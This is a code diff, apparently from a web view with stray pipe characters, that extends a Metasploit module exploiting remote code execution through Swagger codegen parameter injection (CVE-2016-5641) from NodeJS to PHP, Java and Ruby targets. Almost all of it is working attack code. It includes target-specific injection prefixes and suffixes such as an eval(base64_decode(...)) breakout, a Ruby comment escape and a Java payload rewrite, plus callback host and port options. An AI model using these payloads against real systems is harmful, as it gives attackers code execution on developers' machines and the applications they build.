|
|
|
@@ -16,6 +16,8 @@ require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
@@ -40,21 +42,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
|
|
|
|
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
|
|
|
|
],
|
|
|
|
|
'Platform' => %w{ nodejs },
|
|
|
|
|
'Arch' => ARCH_NODEJS,
|
|
|
|
|
'Targets' => [['Automatic', {}]],
|
|
|
|
|
'Platform' => %w{ nodejs php java ruby },
|
|
|
|
|
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
|
|
|
|
|
'Targets' => [
|
|
|
|
|
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
|
|
|
|
|
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
|
|
|
|
|
['Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ],
|
|
|
|
|
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Jun 23 2016',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
|
|
|
|
|
OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
|
|
|
|
|
OptPort.new('LPORT', [true, 'Server port.']),
|
|
|
|
|
OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
|
|
|
|
|
OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
|
|
|
|
|
OptString.new('PAYLOAD_LOC', [false, 'Payload insertion point', 'INFO_DESCRIPTION', ['INFO_DESCRIPTION', 'INFO_VERSION', 'INFO_TITLE', 'SWAGGER_HOST', 'BASE_PATH', 'PATH', 'PATH_DESRIPTION', 'PATH_RESPONSE_DESCRIPTION', 'DEFINITION_DESCRIPTION'] ]),
|
|
|
|
|
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
|
|
|
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', 'B']),
|
|
|
|
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
|
|
|
|
|
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
|
|
|
|
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
|
|
|
|
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
|
|
|
|
@@ -118,12 +125,46 @@ class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
# NodeJS only, for now.
|
|
|
|
|
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
|
|
|
|
|
payload.encoded + datastore['PAYLOAD_SUFFIX']
|
|
|
|
|
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload.gsub(/"/, '\\"')
|
|
|
|
|
if datastore['PAYLOAD']
|
|
|
|
|
case payload.arch[0]
|
|
|
|
|
when 'nodejs'
|
|
|
|
|
payload_loc = 'PATH'
|
|
|
|
|
payload_prefix = "/a');};};return exports;}));"
|
|
|
|
|
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
|
|
|
|
|
wrapped_payload = payload_prefix +
|
|
|
|
|
payload.encoded +
|
|
|
|
|
payload_suffix
|
|
|
|
|
datastore[payload_loc] = wrapped_payload.gsub(/"/, '\\"')
|
|
|
|
|
when 'php'
|
|
|
|
|
payload_loc = 'INFO_DESCRIPTION'
|
|
|
|
|
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
|
|
|
|
|
payload_suffix = "')); /*"
|
|
|
|
|
wrapped_payload = payload_prefix +
|
|
|
|
|
Base64.strict_encode64(payload.encoded) +
|
|
|
|
|
payload_suffix
|
|
|
|
|
datastore[payload_loc] = wrapped_payload
|
|
|
|
|
when 'ruby'
|
|
|
|
|
payload_loc = 'INFO_TITLE'
|
|
|
|
|
payload_prefix = "=end "
|
|
|
|
|
payload_suffix = "=begin "
|
|
|
|
|
wrapped_payload = payload_prefix +
|
|
|
|
|
payload.encoded +
|
|
|
|
|
payload_suffix
|
|
|
|
|
datastore[payload_loc] = wrapped_payload
|
|
|
|
|
when 'java'
|
|
|
|
|
payload_loc = 'PATH'
|
|
|
|
|
payload_prefix = %q{a\\\"; "}
|
|
|
|
|
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
|
|
|
|
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
|
|
|
|
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
|
|
|
|
wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
|
|
|
|
|
datastore[payload_loc] = wrapped_payload
|
|
|
|
|
end
|
|
|
|
|
else
|
|
|
|
|
print_error("No payload defined!")
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status swagger
|
|
|
|
|
file_create swagger
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|